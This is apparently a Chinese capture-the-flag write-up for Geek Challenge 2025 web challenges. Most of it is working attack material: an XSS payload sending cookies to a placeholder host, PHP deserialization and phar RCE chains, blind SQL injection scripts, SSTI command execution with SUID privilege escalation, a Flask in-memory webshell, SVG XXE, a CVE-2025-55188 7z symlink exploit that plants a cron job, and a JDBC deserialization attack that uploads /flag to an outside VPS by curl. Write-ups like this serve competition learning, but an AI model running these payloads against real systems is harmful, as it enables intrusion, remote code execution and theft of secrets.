阿基里斯追乌龟
抓包修改 achilles_distanc ,改为和 tortoise_distanc 一样大:

flag:

Vibe SEO
获取站点地图 sitemap.xml:
<urlset>
<url>
<loc>http://localhost/</loc>
<changefreq>weekly</changefreq>
</url>
<url>
<loc>http://localhost/aa__^^.php</loc>
<changefreq>never</changefreq>
</url>
</urlset>
访问 aa__^^.php,根据报错判断是个任意文件读取:
Warning: Undefined array key "filename" in /var/www/html/aa__^^.php on line 3
文件名最长为10,正好读取 aa__^^.php:
<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}
一开始用伪协议 php://fd 无法读取到flag,猜测是分配的fd比较大,改用 /dev/fd 来爆破 0~99,在 /dev/fd/13 读取到flag内容:

Xross The Finish Line
过滤了空格,单双引号,script,error,img
xss窃取cookie:
<svg/onload=fetch(`http://ip:port/steal?c=${document.cookie}`)>
Expression
爆破出jwt密钥:secret,伪造jwt:

猜测有ejs模板渲染:

popself
index.php:
<?php
show_source(__FILE__);
error_reporting(0);
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>";
echo "收集夏日的碎片吧<br>";
$fox = $this->Fox;
if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}
public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct(){
echo "你能让K4per和KiraKiraAyu组成一队吗<br>";
if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}
if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}
public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}
public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}
class summer {
public static function find_myself(){
return "summer";
}
}
$payload = $_GET["24_SYC.zip"];
if (isset($payload)) {
unserialize($payload);
} else {
echo "没有大家的压缩包的话,瓦达西!<br>";
}
?>
注意md5那部分需要最后0e后的都是数字才能绕过,否则仍被当作字符串比较无法绕过,还有后续科学计数法绕过时需要是字符串类型,否则长度会是数值的长度导致无法绕过strlen
__destruct() -> __set() -> __call() -> __tostring() -> __invoke(),exp:
<?php
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;
}
class summer {
public static function find_myself(){
return "summer";
}
}
// __invoke
$obj1 = new All_in_one();
$obj1->Samsāra = "system";
$obj1->ivory = "env";
// __toString
$obj2 = new All_in_one();
$obj2->_4ak5ra = $obj1;
// __set+__call
$obj3 = new All_in_one();
$obj3->Fox = "summer::find_myself";
$obj3->komiko = $obj2;
$obj3->Eureka = "nonexistence";
$obj3->L = "1e5"; // $args[0]
$obj3->sleep3r = $obj2; // $args[1]
$obj4 = new All_in_one();
$obj4->KiraKiraAyu = "iv2Cn"; // f2WfQ
$obj4->K4per = "240610708";
$obj4->QYQS = $obj3;
echo urlencode(serialize($obj4));
?>
payload:
?24[SYC.zip=O%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3Bs%3A5%3A%22iv2Cn%22%3Bs%3A7%3A%22_4ak5ra%22%3BN%3Bs%3A5%3A%22K4per%22%3Bs%3A9%3A%22240610708%22%3Bs%3A8%3A%22Sams%C4%81ra%22%3BN%3Bs%3A6%3A%22komiko%22%3BN%3Bs%3A3%3A%22Fox%22%3BN%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A4%3A%22QYQS%22%3BO%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3BN%3Bs%3A7%3A%22_4ak5ra%22%3BN%3Bs%3A5%3A%22K4per%22%3BN%3Bs%3A8%3A%22Sams%C4%81ra%22%3BN%3Bs%3A6%3A%22komiko%22%3BO%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3BN%3Bs%3A7%3A%22_4ak5ra%22%3BO%3A10%3A%22All_in_one%22%3A11%3A%7Bs%3A11%3A%22KiraKiraAyu%22%3BN%3Bs%3A7%3A%22_4ak5ra%22%3BN%3Bs%3A5%3A%22K4per%22%3BN%3Bs%3A8%3A%22Sams%C4%81ra%22%3Bs%3A6%3A%22system%22%3Bs%3A6%3A%22komiko%22%3BN%3Bs%3A3%3A%22Fox%22%3BN%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A4%3A%22QYQS%22%3BN%3Bs%3A7%3A%22sleep3r%22%3BN%3Bs%3A5%3A%22ivory%22%3Bs%3A3%3A%22env%22%3Bs%3A1%3A%22L%22%3BN%3B%7Ds%3A5%3A%22K4per%22%3BN%3Bs%3A8%3A%22Sams%C4%81ra%22%3BN%3Bs%3A6%3A%22komiko%22%3BN%3Bs%3A3%3A%22Fox%22%3BN%3Bs%3A6%3A%22Eureka%22%3BN%3Bs%3A4%3A%22QYQS%22%3BN%3Bs%3A7%3A%22sleep3r%22%3BN%3Bs%3A5%3A%22ivory%22%3BN%3Bs%3A1%3A%22L%22%3BN%3B%7Ds%3A3%3A%22Fox%22%3Bs%3A19%3A%22summer%3A%3Afind_myself%22%3Bs%3A6%3A%22Eureka%22%3Bs%3A12%3A%22nonexistence%22%3Bs%3A4%3A%22QYQS%22%3BN%3Bs%3A7%3A%22sleep3r%22%3Br%3A14%3Bs%3A5%3A%22ivory%22%3BN%3Bs%3A1%3A%22L%22%3Bs%3A3%3A%221e5%22%3B%7Ds%3A7%3A%22sleep3r%22%3BN%3Bs%3A5%3A%22ivory%22%3BN%3Bs%3A1%3A%22L%22%3BN%3B%7D

one last image
PNG头 + 短标签 绕过waf:

flag在环境变量里:

Sequal No Uta
单引号闭合:

过滤了空格,注释符绕过:

布尔盲注,先查 sqite_lmaster 表里的创建语句:
def sql():
target = "http://019a6318-c732-7f8b-8582-ffeba4a20572.geek.ctfplus.cn/check.php"
sql = ""
for i in range(1,250):
for char in string.whitespace + "\n~!@#$%^&*()_+-=" + string.ascii_uppercase + string.ascii_lowercase + string.digits:
payload = f"admin'/**/and/**/substr((select/**/group_concat(sql)/**/from/**/sqlite_master),{i},1)='{char}';"
params = {"name": payload}
resp = requests.get(url=target, params=params)
if "该用户存在且活跃" in resp.text:
sql += char
print(f"Found: {sql}")
break
return sql
users 表创建语句:
CREATE TABLE users(
id INTEGER PRIMARYKEY AUTO INCREMENT
username TEXT UNIQUE NOT NULL
password TEXT UNIQUE NOT NULL
is_active INTEGER NOT NULL DEFAULT 1
secret TEXT )
查secret字段,字段里的值就是flag:
def secret():
target = "http://019a6318-c732-7f8b-8582-ffeba4a20572.geek.ctfplus.cn/check.php"
secret = ""
for i in range(1,50):
for char in string.whitespace + "}{\n~!@#$%^&*()_+-=" + string.ascii_uppercase + string.ascii_lowercase + string.digits:
payload = f"admin'/**/and/**/substr((select/**/group_concat(secret)/**/from/**/users),{i},1)='{char}';"
params = {"name": payload}
resp = requests.get(url=target, params=params)
if "该用户存在且活跃" in resp.text:
secret += char
print(f"Found: {secret}")
break
return secret
ez_read
读取故事页面存在任意文件读取,测试一下就知道有个../的替换,读取 ....//app.py:
from flask import Flask, request, render_template, render_template_string, redirect, url_for, session
import os
app = Flask(__name__, template_folder="templates", static_folder="static")
app.secret_key = "key_ciallo_secret"
USERS = {}
def waf(payload: str) -> str:
print(len(payload))
if not payload:
return ""
if len(payload) not in (114, 514):
return payload.replace("(", "")
else:
waf = ["__class__", "__base__", "__subclasses__", "__globals__", "import","self","session","blueprints","get_debug_flag","json","get_template_attribute","render_template","render_template_string","abort","redirect","make_response","Response","stream_with_context","flash","escape","Markup","MarkupSafe","tojson","datetime","cycler","joiner","namespace","lipsum"]
for w in waf:
if w in payload:
raise ValueError(f"waf")
return payload
@app.route("/")
def index():
user = session.get("user")
return render_template("index.html", user=user)
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = (request.form.get("username") or "")
password = request.form.get("password") or ""
if not username or not password:
return render_template("register.html", error="用户名和密码不能为空")
if username in USERS:
return render_template("register.html", error="用户名已存在")
USERS[username] = {"password": password}
session["user"] = username
return redirect(url_for("profile"))
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = (request.form.get("username") or "").strip()
password = request.form.get("password") or ""
user = USERS.get(username)
if not user or user.get("password") != password:
return render_template("login.html", error="用户名或密码错误")
session["user"] = username
return redirect(url_for("profile"))
return render_template("login.html")
@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
@app.route("/profile")
def profile():
user = session.get("user")
if not user:
return redirect(url_for("login"))
name_raw = request.args.get("name", user)
try:
filtered = waf(name_raw)
tmpl = f"欢迎,{filtered}"
rendered_snippet = render_template_string(tmpl)
error_msg = None
except Exception as e:
rendered_snippet = ""
error_msg = f"渲染错误: {e}"
return render_template(
"profile.html",
content=rendered_snippet,
name_input=name_raw,
user=user,
error_msg=error_msg,
)
@app.route("/read", methods=["GET", "POST"])
def read_file():
user = session.get("user")
if not user:
return redirect(url_for("login"))
base_dir = os.path.join(os.path.dirname(__file__), "story")
try:
entries = sorted([f for f in os.listdir(base_dir) if os.path.isfile(os.path.join(base_dir, f))])
except FileNotFoundError:
entries = []
filename = ""
if request.method == "POST":
filename = request.form.get("filename") or ""
else:
filename = request.args.get("filename") or ""
content = None
error = None
if filename:
sanitized = filename.replace("../", "")
target_path = os.path.join(base_dir, sanitized)
if not os.path.isfile(target_path):
error = f"文件不存在: {sanitized}"
else:
with open(target_path, "r", encoding="utf-8", errors="ignore") as f:
content = f.read()
return render_template("read.html", files=entries, content=content, filename=filename, error=error, user=user)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=False)
/profile 路由下存在 ssti,构造114长度的payload,否则无法处理过滤括号
利用config缩短payload长度,flag需要root权限读取,查找suid权限文件:
{{config['__cl'+'ass__'].__init__['__glo'+'bals__']['os'].popen('find / -perm -u=s -type f 2>/dev/null').read() }}
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
/usr/local/bin/env
查看env:
{{config['__cl'+'ass__'].__init__['__glo'+'bals__']['os'].popen('env').read() }}
HINT=用我提个权吧
env后直接跟命令实现suid提权:
{{config['__cl'+'ass__'].__init__['__glo'+'bals__']['os'].popen('env cat /flag').read() }}
百年继承
正常流程:
上校已创建。
上校继承于他的父亲,他的父亲继承于人类
时间流逝:卷入武装起义:命运与战争交织。
时间流逝:抉择时刻:上校需要做出选择(武器与策略)。
事件:上校使用 spear,采取 ambush 策略。世界线变动...
(上校的weapon属性被赋值为spear,tactic属性被赋值为ambush)
时间流逝:宿命延续:行军与退却。
时间流逝:面对行刑队:命运的审判即将到来。
行刑队:开始执行判决。
行刑队也继承于人类
临死之前,上校目光瞄着行刑队的佩剑,上面分明写着:
lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')
这是人类自古以来就拥有的execute_method属性...
处决成功
时间流逝:结局:命运如沙漏般倾泻……
上校继承于父亲,父亲继承于人类,自定义的 weapon 和 tactic 都是上校的属性,行刑队同样继承于人类,最后行刑执行的是人类的 execute_method 属性,页面回显是第三个操作结果
python 原型链污染,目标是将人类的 execute_method 第三个操作部分设置为命令执行结果
{
"weapon": "spear",
"tactic": "ambush",
"__class__": {
"__base__": {
"__base__": {
"execute_method": "lambda executor, target: (target.__del__(), setattr(target, 'alive', False), __import__('os').popen('env').read())"
}
}
}
}
ez-seralize
index.php:
<?php
ini_set('display_errors', '0');
$filename = isset($_GET['filename']) ? $_GET['filename'] : null;
$content = null;
$error = null;
if (isset($filename) && $filename !== '') {
$balcklist = ["../","%2e","..","data://","\n","input","%0a","%","\r","%0d","php://","/etc/passwd","/proc/self/environ","php:file","filter"];
foreach ($balcklist as $v) {
if (strpos($filename, $v) !== false) {
$error = "no no no";
break;
}
}
if ($error === null) {
if (isset($_GET['serialized'])) {
require 'function.php';
$file_contents= file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read seraizlie file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
} else {
$file_contents = file_get_contents($filename);
if ($file_contents === false) {
$error = "Failed to read file or file does not exist: " . htmlspecialchars($filename);
} else {
$content = $file_contents;
}
}
}
} else {
$error = null;
}
?>
<?php if ($error !== null && $error !== ''): ?>
<div class="alert error" role="alert"><?php echo htmlspecialchars($error, ENT_QUOTES); ?></div>
<?php endif; ?>
<!--RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \
> /usr/local/etc/php/conf.d/zz-open_basedir.ini-->
<?php if ($content !== null): ?>
<div class="result" aria-live="polite">
<div class="meta">
<div>文件:<?php echo htmlspecialchars($filename, ENT_QUOTES); ?></div>
<div style="font-size:12px;color:var(--muted)"><?php echo strlen($content); ?> bytes</div>
</div>
<div class="body"><pre><?php echo htmlspecialchars($content, ENT_QUOTES); ?></pre></div>
</div>
<?php elseif ($error === null && isset($_GET['filename'])): ?>
<div class="alert warn">未能读取内容或文件为空。</div>
<?php endif; ?>
function.php:
<?php
class A {
public $file;
public $luo;
public function __construct() {
}
public function __toString() {
$function = $this->luo;
return $function();
}
}
class B {
public $a;
public $test;
public function __construct() {
}
public function __wakeup()
{
echo($this->test);
}
public function __invoke() {
$this->a->rce_me();
}
}
class C {
public $b;
public function __construct($b = null) {
$this->b = $b;
}
public function rce_me() {
echo "Success!\n";
system("cat /flag/flag.txt > /tmp/flag");
}
}
想找文件上传点,robots.txt:
User-agent: *
Disallow: /var/www/html/uploads.php
uploads.php:
<?php
$uploadDir = __DIR__ . '/uploads/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz'];
$allowedMimes = [
'txt' => ['text/plain'],
'log' => ['text/plain'],
'jpg' => ['image/jpeg'],
'jpeg' => ['image/jpeg'],
'png' => ['image/png'],
'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'],
'gif' => ['image/gif'],
'gz' => ['application/gzip', 'application/x-gzip']
];
$resultMessage = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
if ($file['error'] === UPLOAD_ERR_OK) {
$originalName = $file['name'];
$ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
if (!in_array($ext, $whitelist, true)) {
die('File extension not allowed.');
}
$mime = $file['type'];
if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) {
die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime));
}
$safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName));
$safeBaseName = ltrim($safeBaseName, '.');
$targetFilename = time() . '_' . $safeBaseName;
file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n");
$targetPath = $uploadDir . $targetFilename;
if (move_uploaded_file($file['tmp_name'], $targetPath)) {
@chmod($targetPath, 0644);
$resultMessage = '<div class="success"> File uploaded successfully '. '</div>';
} else {
$resultMessage = '<div class="error"> Failed to move uploaded file.</div>';
}
} else {
$resultMessage = '<div class="error"> Upload error: ' . $file['error'] . '</div>';
}
}
?>
B.__wakeup() -> A.__toString() -> B.__invoke(),应该是要利用phar伪协议进行反序列化,exp:
<?php
class A {
public $file;
public $luo;
}
class B {
public $a;
public $test;
}
class C {
public $b;
}
$obj1 = new C();
$obj2 = new B();
$obj2->a = $obj1;
$obj3 = new A();
$obj3->luo = $obj2;
$obj4 = new B();
$obj4->test = $obj3;
@unlink("phar.phar");
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($obj4);
$phar -> stopBuffering();
?>
修改phar后缀名为jpg,上传文件后读取 /tmp/log.txt:
upload file success: 1762752974_phar.jpg, MIME: image/jpeg
根据 index.php 中关于 open_basedir 的信息:
<!--RUN printf "open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \
> /usr/local/etc/php/conf.d/zz-open_basedir.ini-->
可以直接访问上传的目录,后续直接phar反序列化上传文件即可,注意添加 serialized 参数用于包含 function.php:

最后读取 /tmp/flag 获取flag
eeeeezzzzzzZip
phar include RCE,将 phar 打包成 gz等压缩文件被 include 同样会执行stub中的php代码,exp:
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('cat /flag/flag.txt');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

路在脚下
初步测试,ban了 before_request after_request error,由于网页无执行结果回显考虑打内存马创建路由
向 url_map 中新增一条 urlrule 创建 /shell 路由,payload1:
{{url_for.__globals__['__builtins__']['eval']("app.url_map.add(app.url_rule_class('/shell',methods=['GET'],endpoint='shell'))",{'app':url_for.__globals__['current_app']})}}
向 view_function 中添加对应 endpoint 的实现
{{url_for.__globals__['__builtins__']['eval']("app.view_functions.update({'shell':lambda:__import__('os').popen(app.request_context.__globals__['request_ctx'].request.args.get('cmd','whoami')).read()})",{'app':url_for.__globals__['current_app']})}}
访问 /shell,页面显示 root 表明路由创建成功,传参cmd实现rce
Image Viewer
允许上传的文件类型:
<input type="file" name="file" accept=".svg,image/svg+xml,.png,.jpg,.jpeg,.gif,image/*" />
svg XXE:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag" > ]>
<svg width="400px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

PDF Viewer
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script>

有个弱口令用户,先尝试直接读 /proc/self/environ:

爆破管理员口令:

路在脚下_revenge
同路在脚下
Xross The Doom
package.json:
{
"name": "xross",
"version": "1.0.0",
"description": "oh, no!",
"main": "server.js",
"scripts": {
"start": "node server.js",
"dev": "NODE_ENV=development node server.js",
"solve": "node solve.js",
"bot": "node bot.js"
},
"author": "",
"license": "MIT",
"dependencies": {
"cookie-parser": "^1.4.7",
"express": "^5.1.0",
"nanoid": "^5.1.6",
"dompurify": "^3.3.0",
"jsdom": "^27.1.0",
"puppeteer": "^24.29.0"
},
"devDependencies": {}
}
dompurify是最新版本,不存在bypass的手段,考虑 DOM Clobbering
admin.js:
...
const auto = asBool(window.AUTO_SHARE);
const path = asPath(window.CONFIG_PATH);
const includeCookie = asBool(window.CONFIG_COOKIE_DEBUG);
function buildTarget(base, sub) {
const parts = (base + '/' + (sub || '')).split('/');
const stack = [];
for (const seg of parts) {
if (seg === '..') {
if (stack.length) stack.pop();
} else if (seg && seg !== '.') {
stack.push(seg);
}
}
return '/' + stack.join('/');
}
if (auto) {
const target = buildTarget('/analytics', path);
const qs = new URLSearchParams({ id, ua: navigator.userAgent });
if (includeCookie) {
qs.set('c', document.cookie);
}
fetch(target + '?' + qs.toString()).catch(() => {});
}
只要能设置 auto 和 includeCookie 为true,最后fetch /log就可以在 /logs 中记录含有FLAG的 cookie
payload:
<a id=AUTO_SHARE></a><a id=CONFIG_COOKIE_DEBUG></a><form id=CONFIG_PATH action=../../log></form>
在网络中找到对应id,让bot去访问对应id内容,执行admin.js时因为构造好的CONFIG_PATH导致拼接时目录穿越,后续会自动去fetch /log
最后访问/logs:

77777 time task
app.py:
import os
from flask import Flask, jsonify, request
import subprocess
app = Flask(__name__)
UPLOAD_DIR="./uploads"
os.makedirs(UPLOAD_DIR, exist_ok=True)
@app.route("/", methods=["GET"])
def index():
return "Hello World"
@app.route("/upload", methods=["POST"])
def upload():
if 'file' not in request.files:
return jsonify({"status": "error", "message": "No file part"}), 400
file = request.files['file']
if file.filename == '':
return jsonify({"status": "error", "message": "No selected file"}), 400
sanitizeFilename=file.filename.replace("..", "").replace("/","")
ext=sanitizeFilename.split(".")[-1]
if ext != "7z":
return jsonify({"status": "error", "message": "Only .7z files are allowed"}), 400
filepath = os.path.join(UPLOAD_DIR, file.filename)
file.save(filepath)
ret=subprocess.run(["/tmp/7zz", "x", filepath],shell=False,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
if ret.returncode != 0:
return jsonify({"status": "error", "message": "Failed to extract .7z file", "detail": ret.stderr.decode()}), 500
return jsonify({"status": "success", "filename": file.filename})
@app.route("/listfiles", methods=["GET"])
def list_files():
dir=request.args.get("dir", "./uploads")
files = os.listdir(dir)
return jsonify({"files": files})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000, debug=False)
执行 os.path.join 时没有使用过滤后的 sanitizeFilename,看上去有目录穿越的问题,但是前面有对于扩展名为7z的限制,所以实际上难以利用,最多是把7z后缀名的文件保存到其他目录
一开始想到软链接,但是7z解压默认把解压目录当作根目录,即/app,所有普通的软链接比如指向/tmp在这样的环境下被解压后都会指向/app/tmp,并且如果链接文件名带有目录穿越的内容,如 ../ 都会触发报错 ERROR: Dangerous link path was ignored
从Dockerfile能找到其他信息:
FROM python:3.11-slim
# Install cron and 7zip utilities required by the app
RUN apt-get update \
&& apt-get install -y --no-install-recommends cron wget xz-utils\
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
RUN cd /tmp && \
wget https://www.7-zip.org/a/7z2500-linux-x64.tar.xz \
&& tar -xvf 7z2500-linux-x64.tar.xz
# Copy the application code
COPY app/ ./
COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh
RUN chmod +x /usr/local/bin/docker-entrypoint.sh
# Install Python dependencies
RUN pip install --no-cache-dir flask
EXPOSE 3000
ENTRYPOINT ["/usr/local/bin/docker-entrypoint.sh"]
7z特意指定了一个版本25.00,搜了搜最近的漏洞,找到CVE-2025-55188,7z版本小于25.01都存在软链接处理问题,对于精心构造的恶意软链接处理时会导致目录穿越
docker-entrypoint.sh:
#!/bin/sh
set -e
if [ "$FLAG" ]; then
INSERT_FLAG="$FLAG"
export FLAG=no_FLAG
FLAG=no_FLAG
else
INSERT_FLAG="flag{TEST_Dynamic_FLAG}"
fi
echo $INSERT_FLAG | tee /flag
/usr/sbin/cron
exec python app.py
结合题目名称以及 docker-entrypoint.sh 脚本里启动了cron的守护进程,考虑通过定时任务来实现rce
github上的poc:https://github.com/lunbun/CVE-2025-55188/blob/main/poc_extraction_root/make_arb_write_7z.sh
详细的漏洞分析:https://lunbun.dev/blog/cve-2025-55188/
对poc脚本稍作修改,本来想直接覆盖文件 /etc/crontab,但是会失败,后面通过写入 /etc/cron.d 目录进行定时任务达到同样的效果:
#!/bin/bash
#
# Writes to ../file.txt on extraction.
#
# Works on Linux only.
#
olddir="$(pwd)"
tempdir="$(mktemp -d)"
cd "$tempdir"
mkdir -p a/b
ln -s /a a/b/link
7zz a arb_write.7z a/b/link -snl
ln -s a/b/link/../../ link
7zz a arb_write.7z link -snl
rm link
mkdir link
mkdir link/etc
mkdir link/etc/cron.d
echo "* * * * * root cp /flag /app/uploads/flag_\$(cat /flag)" > link/etc/cron.d/exploit
7zz a arb_write.7z link/etc/cron.d/exploit
cp arb_write.7z "$olddir"
cd "$olddir"
rm -r "$tempdir"
上传文件后等待1分钟,就可以看到 /uploads 目录下有带有 /flag 文件内容的文件被写入了
curl -X POST 'http://019aaf50-29b9-78e3-bae1-2bc9d2bc9740.geek.ctfplus.cn/upload' -F 'file=@arb_write.7z'

ezjdbc
jdbcController类:
package ctf.geekchallenge.ezjdbc.demos.web;
import java.sql.DriverManager;
import java.sql.SQLException;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
/* loaded from: ezjdbc-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/ctf/geekchallenge/ezjdbc/demos/web/jdbcController.class */
public class jdbcController {
static String CLASS_NAME = "com.mysql.cj.jdbc.Driver";
@GetMapping({"/"})
public String index() {
return "Hello Jdbc";
}
@GetMapping({"/connect"})
public String connect(@RequestParam("url") String url, @RequestParam("name") String name, @RequestParam("pass") String pass) throws SQLException {
DriverManager.getConnection(url, name, pass);
return url;
}
}
java 1.8,mysql 8.0.19,Commons-Collections 3.2.1:

url name都可控,打jdbc反序列化,利用工具创建 fake mysql server:https://github.com/4ra1n/mysql-fake-server/tree/master
curl外带flag,但是 $() 和反引号不知道为什么都不行,考虑 curl -T 上传文件 /flag到vps:

payload:
/connect?url=jdbc:mysql://121.40.46.63:3308/test?autoDeserialize=true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&name=base64ZGVzZXJfQ0MzMV9jdXJsIC1UIC9mbGFnIGh0dHA6Ly8xMjEuNDAuNDYuNjM6MjMzMy8=&pass=1
vps上搞个支持PUT方法的python http server:
import http.server
import socketserver
import os
import shutil
PORT = 2333 # 更改端口
class PutHandler(http.server.SimpleHTTPRequestHandler):
"""
自定义 HTTP 请求处理程序,继承 SimpleHTTPRequestHandler 并实现 do_PUT 方法。
"""
def do_PUT(self):
"""处理 PUT 请求,用于文件上传/替换"""
# 确定目标文件路径 (确保路径安全,避免目录穿越)
filename = os.path.basename(self.path)
if not filename:
self.send_error(400, "Bad Request: No filename provided")
return
file_path = os.path.join(os.getcwd(), filename)
# 检查文件是否存在,以确定返回状态码 (200 OK 或 201 Created)
if os.path.exists(file_path):
response_code = 200 # 资源已存在,表示成功修改
else:
response_code = 201 # 资源是新建的
try:
# 1. 读取请求体中的数据
length = int(self.headers['Content-Length'])
# 2. 打开目标文件并写入数据
with open(file_path, 'wb') as fout:
# 使用 shutil.copyfileobj 来高效地复制数据流
shutil.copyfileobj(self.rfile, fout, length)
# 3. 发送成功响应
self.send_response(response_code)
self.end_headers()
self.wfile.write(f"File '{filename}' uploaded/updated successfully.".encode('utf-8'))
except Exception as e:
self.send_error(500, f"Internal Server Error: {e}")
# 可选:您也可以在这里实现 do_DELETE 等其他方法
# 启动服务器
with socketserver.TCPServer(("", PORT), PutHandler) as httpd:
print(f"Serving at port {PORT}")
print(f"Current directory: {os.getcwd()}")
print("Ready to receive PUT requests...")
httpd.serve_forever()
vps换成jdk1.8,启动cli版本:
java -jar fake-mysql-cli-0.0.4.jar
